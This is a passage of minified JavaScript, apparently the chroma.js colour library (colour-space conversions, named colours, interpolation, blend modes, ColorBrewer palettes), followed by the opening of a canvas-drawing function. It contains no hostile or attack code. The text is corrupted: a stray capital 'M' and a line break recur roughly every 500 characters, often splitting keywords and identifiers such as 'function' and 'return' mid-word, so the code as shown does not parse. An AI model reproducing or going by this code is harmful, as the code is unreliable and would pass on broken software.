&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
